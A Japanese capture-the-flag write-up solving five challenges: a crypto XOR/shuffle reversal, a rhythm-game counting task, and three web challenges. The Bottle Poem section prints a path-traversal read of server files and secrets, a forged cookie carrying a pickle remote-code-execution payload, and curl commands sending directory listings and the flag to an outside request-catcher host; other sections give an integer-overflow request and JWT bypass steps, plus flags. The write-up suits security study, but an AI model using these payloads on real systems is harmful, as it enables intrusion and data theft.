- [crypto] Time Capsule
- [PPC] Let’s Play Osu!Mania
- [web] Bottle Poem
- [web] Crab Commodities
- [web] Issues
[crypto] Time Capsule
SEKAI{から始まる平文にstage1処理をして、stage2処理をしたものが与えられる。
逆関数をどちらも作って解読していく。
まずは、stage2であるが、xor暗号化している。
ざっくり「msg ^ 乱数列 + time(後ろ18byte) ^ 0x42」みたいな処理になっている。
乱数列はtimeをもとに生成しているので、
- 後ろ18byteを持ってきて0x42とxorすることでtimeを明らかにする
- timeが分かれば乱数列を再現できるので、再現してmsgを手に入れる
これでstage2処理前のメッセージが得られたので次はstage1を考える。
8個のランダムな[0,255]からなる配列を使ってシャッフル処理をしている。
[0,255]からなる配列を使ってはいるが、大小関係だけを処理では使用しているので、
実質[0,1,2,3,4,5,6,7]の配列をランダムに入れ替えたものと考えてしまって問題ない。
これは8!通りしか組み合わせが無いので全探索ができる。
あとは、シャッフルに使用しているencrypt_stage_oneの逆関数を作って、
すべての組み合わせからSEKAI{から始まる平文を探し出すと答え。
SEKAI{T1m3_15_pr3C10u5_s0_Enj0y_ur_L1F5!!!}
import base64 from Crypto.Util.strxor import * import random import os enc = "lrr8pZFJCsp0qt0mBnsrIaATtebvixGqchUKfdlTil6tOh+aCtDDexsoynN0dnVwdnN1c3JscXp2dHV3cg==" enc = base64.b64decode(enc) # solve stage two msg = enc[:-18] now = enc[-18:] now = strxor(now, b"\x42" * 18) print(now) random.seed(now) key = [random.randrange(256) for _ in msg] msg = bytes([m ^ k for (m,k) in zip(msg, key)]) print(msg) # solve stage one msg = msg.decode('utf-8') def encrypt_stage_one_rev(message, key): u = [s for s in sorted(zip(key, range(len(key))))] buf = [] cur = 0 for i in u: for j in range(i[1], len(message), len(key)): buf.append((j, message[cur])) cur += 1 res = "" for p in sorted(buf): res += p[1] return res import itertools for rand_nums in list(itertools.permutations(list(range(8)))): flag = msg for _ in range(42): flag = encrypt_stage_one_rev(flag, rand_nums) if flag.startswith("SEKAI{"): print(f"found! {flag}")
[PPC] Let’s Play Osu!Mania
普通に競プロ。
音ゲーの譜面があって、tap noteとhold noteが書いてある。
hold noteは連続しているものは1つとしてカウントするときにnoteの数を答える問題。
横は4固定で縦Nは、N<104。
適当に実装する。
tap noteの数を数えて、hold noteのグループ数も数える。
hold noteの上下にはtap noteがあるので、hold noteの数だけtap noteを1つ多く数えてしまっていることになる。
(hold部分の上は数えてOKだけど下は数えると二重で数えていることになる)
なので、tap-holdが答え。
SEKAI{wysi_Wh3n_y0u_fuxx1ng_C_727727}
int N; string notes[10101]; void _main() { cin >> N; getline(cin, notes[0]); rep(i, 0, N) getline(cin, notes[i]); int tap = 0; int hold = 0; int pre[4] = { 0, 0, 0, 0 }; rep(y, 0, N) { rep(x, 0, 4) { char c = notes[y][x + 1]; if (c == '#') { if (pre[x] == 0) { hold++; pre[x]++; } } else { pre[x] = 0; if (c == '-') tap++; } } } cout << tap - hold << endl; }
[web] Bottle Poem
ポエムが読めるサイト。
/show?id=spring.txt
のようにファイルを読み込んでいる感があるので、
/show?id=/etc/passwd
でやってみると抜けてくる。
LFI脆弱性が見つかる。
レスポンスを見るとserver: WSGIServer/0.2 CPython/3.8.12
とあるのでpythonで書かれている。
それともとにいろいろやると、/show?id=/proc/self/cwd/app.py
でコードが抜けてくる。
from bottle import route, run, template, request, response, error from config.secret import sekai import os import re @route("/") def home(): return template("index") @route("/show") def index(): response.content_type = "text/plain; charset=UTF-8" param = request.query.id if re.search("^../app", param): return "No!!!!" requested_path = os.path.join(os.getcwd() + "/poems", param) try: with open(requested_path) as f: tfile = f.read() except Exception as e: return "No This Poems" return tfile @error(404) def error404(error): return template("error") @route("/sign") def index(): try: session = request.get_cookie("name", secret=sekai) if not session or session["name"] == "guest": session = {"name": "guest"} response.set_cookie("name", session, secret=sekai) return template("guest", name=session["name"]) if session["name"] == "admin": return template("admin", name=session["name"]) except: return "pls no hax" if __name__ == "__main__": os.chdir(os.path.dirname(__file__)) run(host="0.0.0.0", port=8080)
/sign
でsession["name"] == "admin"
になればフラグが得られそうと予想。
tokenにsecretを使って署名しているみたい。
from config.secret import sekai
となっているので、これもLFIで抜く。
GET /show?id=/proc/self/cwd/config/secret.py
sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
適当にコードを書いてCookieを作る。
from bottle import route, run, template, request, response, error import os @route("/") def home(): response.set_cookie("name", {"name": "admin"}, secret="Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu") return "yeah" if __name__ == "__main__": os.chdir(os.path.dirname(__file__)) run(host="0.0.0.0", port=1337)
それを送るとadminで入れるが、フラグが出てこない。
Cookie: name="!rsOwvUb6jllVHQVOPlZv5w==?gAWVFwAAAAAAAACMBG5hbWWUfZRoAIwFYWRtaW6Uc4aULg=="
んー
問題文を見ると追記されていた
Flag is executable on server.
RCEまでつなげないとダメみたい。
んー、あー、と思っていると日本語の素晴らしい記事が見つかる。
[pickleを利用した任意のコード実行とPython Web Framework - mrtc0.log] (https://mrtc0.hateblo.jp/entry/2015/12/08/230840)
ここにかなり親切に書いてある!
name=guestのcookieを持ってくると!o8siMrdaVf83giE8crJurg==?gAWVFwAAAAAAAACMBG5hbWWUfZRoAIwFZ3Vlc3SUc4aULg==
で
import pickle; from base64 import b64encode, b64decode x = b'gAWVFwAAAAAAAACMBG5hbWWUfZRoAIwFZ3Vlc3SUc4aULg==' x = b64decode(x) x = pickle.loads(x) print(x)
中身を見てみると('name', {'name': 'guest'})
となっているみたい。
https://github.com/bottlepy/bottle/blob/master/bottle.py#L1848-L1856
を見ながら微妙にコードを変更して新しくcookieを作る。
import pickle, subprocess, base64, hmac, requests, sys import hashlib class getpasswd(object): def __reduce__(self): return (subprocess.check_output, (('bash','-c', 'curl https://abc.requestcatcher.com/test/'),)) p = pickle.dumps(('name', getpasswd())) msg = base64.b64encode(p) sig = base64.b64encode(hmac.new(b"Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu", msg, digestmod=hashlib.md5).digest()) c = b'!'+sig+b'?'+msg print(c)
requestcatcherでリクエストを待って、これをCookieのnameに入れて、/sign
へリクエストを飛ばすとRCEできていることが確認できる。
探索するとフラグが手に入る。
ls -la / | curl https://abcc.requestcatcher.com/test/ -X POST -d @- total 80 drwxr-xr-x 1 root root 4096 Oct 1 11:28 . drwxr-xr-x 1 root root 4096 Oct 1 11:28 .. drwxr-xr-x 1 root root 4096 Sep 30 17:27 app drwxr-xr-x 1 root root 4096 Mar 1 2022 bin drwxr-xr-x 2 root root 4096 Dec 11 2021 boot drwxr-xr-x 5 root root 360 Oct 1 11:28 dev drwxr-xr-x 1 root root 4096 Oct 1 11:28 etc ---x--x--x 1 root root 568 Sep 15 06:37 flag drwxr-xr-x 2 root root 4096 Dec 11 2021 home drwxr-xr-x 1 root root 4096 Mar 1 2022 lib drwxr-xr-x 2 root root 4096 Feb 28 2022 lib64 drwxr-xr-x 2 root root 4096 Feb 28 2022 media drwxr-xr-x 2 root root 4096 Feb 28 2022 mnt drwxr-xr-x 2 root root 4096 Feb 28 2022 opt dr-xr-xr-x 311 root root 0 Oct 1 11:28 proc drwx------ 1 root root 4096 Sep 29 20:22 root drwxr-xr-x 3 root root 4096 Feb 28 2022 run drwxr-xr-x 1 root root 4096 Mar 1 2022 sbin drwxr-xr-x 2 root root 4096 Feb 28 2022 srv dr-xr-xr-x 13 root root 0 Sep 30 19:00 sys drwxrwxrwt 1 root root 4096 Sep 29 20:22 tmp drwxr-xr-x 1 root root 4096 Feb 28 2022 usr drwxr-xr-x 1 root root 4096 Feb 28 2022 var /flag | curl https://abcc.requestcatcher.com/test/ -X POST -d @- SEKAI{W3lcome_To_Our_Bottle}
[web] Crab Commodities
売買をして稼ぐゲーム。
2_000_000_000円あればflagが買えるので何とか不正をしてお金を稼ぐ。
ソースコードを読み込んでいくと悪用可能なオーバーフロー箇所がある。
api.rsのPOST /upgrade
部分、111行目price *= body.quantity;
という処理があり、ここでオーバーフローが発生する。
priceはgame.rsの157行目にてpub price: i32,
のように定義されているので符号付32ビット。
この処理に入るStorage Upgradeの場合はprice=100_000であり、body.quantityは32766が最大なので、掛け合わせると上限の2147483647を超えてオーバーフローする。
最終的にこの値がapi.rsの146行目でuser.game.money.set(user.game.money.get() - price as i64);
のように引き算されるので、支払っているはずが、稼ぐことができそうだ。
POST /api/upgrade
でbodyをname=Storage+Upgrade&quantity=32765
とすると、所持金が1,018,497,296になった。
OK.
オーバーフローしすぎると増やせる額が減ってしまうので、良い感じに調整をしてflagを買えるようにする。
POST /api/upgrade
でbodyをname=Storage+Upgrade&quantity=22000
とすると、所持金が2,094,997,296になった。
フラグが買えるようになる。
SEKAI{rust_is_pretty_s4fe_but_n0t_safe_enough!!}
[web] Issues
フラグを得るためには/api/flag
にアクセスする必要があるが、その前にauthorizeによってtoken検証される。
有効な認証トークンを作成しよう。app.pyを見るとログインは作成中なので、自力でtokenを作成して、エラーを突破していく。
- No Authorization header found
- issuer not found in JWT header
- JWTのissuerに適当なURLを入れて試す
- Invalid issuer netloc: {issuer}. Should be: {valid_issuer}
- Expecting value: line 1 column 1 (char 0)
- user claim missing
{'user':'admin'}
が要求されているので作るとフラグが得られる。
SEKAI{v4l1d4t3_y0ur_i55u3r_plz}